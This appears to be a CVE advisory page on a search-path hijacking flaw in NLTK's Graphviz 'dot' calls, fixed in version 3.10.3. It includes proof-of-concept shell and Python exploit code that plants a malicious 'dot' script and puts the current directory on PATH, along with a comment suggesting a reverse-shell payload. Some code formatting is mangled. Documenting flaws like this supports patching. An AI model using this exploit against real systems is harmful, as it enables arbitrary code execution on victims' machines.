Listen to this Post
NLTK versions before 3.10.3 fail to use validated absolute paths when invoking the Graphviz dot binary in `dependencygraph.dot2img` and AlignedSent._repr_svg_, allowing attackers to execute arbitrary code by placing a malicious dot binary in the search path or current working directory.
Two NLTK sites executed the Graphviz `dot` program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named `dot` where resolution looks (the CWD on Windows, or a writable/relative entry such as `.` on PATH) has their binary executed in place of Graphviz (arbitrary code execution).
Affected (<= 3.10.2):
– `nltk.parse.dependencygraph.dot2img` — called `find_binary(“dot”)` but discarded the returned validated path and then ran the bare name ["dot", ...], so the validation had no effect.
– `nltk.translate.api.AlignedSent._repr_svg_` — ran the bare name with no validation at all (IPython SVG rendering).
This is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. `nltk.internals.find_binary` refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.
Attack demonstration: A `./dot` that writes a PWNED marker, planted in the CWD with `.` prepended to PATH. The vulnerable behaviour (old bare-name exec): bare `[‘dot’]` in this dir with `’.’` on `PATH` executed planted binary = True. The patched functions refuse it: `dependencygraph.dot2img` raises `Exception “Cannot find the dot binary…”` | planted-binary-executed=False safe; `AlignedSent._repr_svg_` raises `Exception “Cannot find the dot binary…”` | planted-binary-executed=False safe.
`find_binary` itself was attacked directly (the fix trusts nothing else):
– Attack 1: `./dot` in CWD, no dot on `PATH` -> `LookupError` (refused) safe
– Attack 2: `./dot/dot` (dir ‘dot’ holding ‘dot’) -> `LookupError` (refused) safe
– Attack 3: `’.’` on `PATH` + `./dot` -> `LookupError` (refused) safe
– Attack 4: attacker-writable ABSOLUTE dir on `PATH` -> returned `/…/evilbin/dot` (absolute)
Attack 4 is out of scope: trusting an absolute directory that is already on `PATH` is the operating system’s own trust model — an attacker who can write to a `PATH` directory owns the account regardless of NLTK. `find_binary` defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits. Environment: python 3.13.7. `dot` is not required to reproduce — the planted binary is the payload.
DailyCVE Form:
Platform: NLTK (pip)
Version: <= 3.10.2
Vulnerability: Untrusted Search Path
Severity: High (CVSS 7.8)
date: 2026-08-24
Prediction: 2026-08-25 (3.10.3 released)
What Undercode Say:
Check NLTK version
pip show nltk | grep Version
Check if vulnerable functions exist
python -c "import nltk; print(nltk.<strong>version</strong>)"
Simulate attack: create malicious dot binary
echo '!/bin/bash\necho "PWNED" > /tmp/pwned.txt' > ./dot
chmod +x ./dot
export PATH=".:$PATH"
Vulnerable (<=3.10.2) — will execute ./dot
python -c "from nltk.parse.dependencygraph import DependencyGraph; DependencyGraph('').dot2img('test')"
Fixed (3.10.3+) — raises exception
python -c "from nltk.parse.dependencygraph import DependencyGraph; DependencyGraph('').dot2img('test')"
Exploit: (Educational Purposes!)
1. Plant malicious dot in current working directory
cat > dot << 'EOF'
!/bin/bash
Payload: reverse shell or arbitrary commands
/usr/bin/id > /tmp/exploited.txt
EOF
chmod +x dot
2. Prepend CWD to PATH (Windows: CWD is searched by default)
export PATH=".:$PATH"
3. Trigger vulnerable NLTK function (<=3.10.2)
python3 -c "
from nltk.parse.dependencygraph import DependencyGraph
dg = DependencyGraph('')
dg.dot2img('output.png') Executes ./dot instead of real Graphviz
"
Result: /tmp/exploited.txt contains command output
Python exploit example
import os
import subprocess
from nltk.parse.dependencygraph import DependencyGraph
Plant malicious binary
with open('dot', 'w') as f:
f.write('!/bin/bash\nwhoami > /tmp/pwned.txt\n')
os.chmod('dot', 0o755)
Set PATH to prioritize CWD
os.environ['PATH'] = f'.{os.pathsep}{os.environ["PATH"]}'
Trigger vulnerability
try:
dg = DependencyGraph('')
dg.dot2img('out.png') Executes ./dot on vulnerable versions
except Exception as e:
print(f'Patched: {e}')
Protection:
- Upgrade NLTK to version 3.10.3 or later:
pip install --upgrade nltk>=3.10.3
- Verify absolute path usage in code:
import nltk from nltk.internals import find_binary Fixed: use validated absolute path dot_path = find_binary('dot') subprocess.run([dot_path, '-Tpng', '-o', 'out.png', 'input.dot']) - Sanitize PATH in production environments:
Remove relative entries from PATH export PATH=$(echo $PATH | tr ':' '\n' | grep -v '^.' | grep -v '^$' | tr '\n' ':' | sed 's/:$//')
- Use absolute paths for all external binaries in configuration:
NLTK_DATA = '/usr/local/share/nltk_data' GRAPHVIZ_DOT = '/usr/bin/dot' Explicit absolute path
- Run with least privilege and consider sandboxing (containers, AppArmor, SELinux).
Impact:
- Arbitrary Code Execution: Attackers can execute arbitrary code on the victim’s machine by placing a malicious `dot` binary in the current working directory or a writable PATH entry.
- Search Path Hijacking: Exploits Windows CWD resolution (CWD searched before system directories) and Unix relative PATH entries.
- Affected Components: `nltk.parse.dependencygraph.dot2img` (discards validated path) and `nltk.translate.api.AlignedSent._repr_svg_` (no validation).
- CVSS Score: 7.8 (High) — Local access required, low privileges, no user interaction.
- Fixed in: NLTK 3.10.3.
- CWE: CWE-426 (Untrusted Search Path).
- MITRE ATT&CK: T1059 (Command and Scripting Interpreter), T1204 (User Execution), T1036 (Masquerading).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

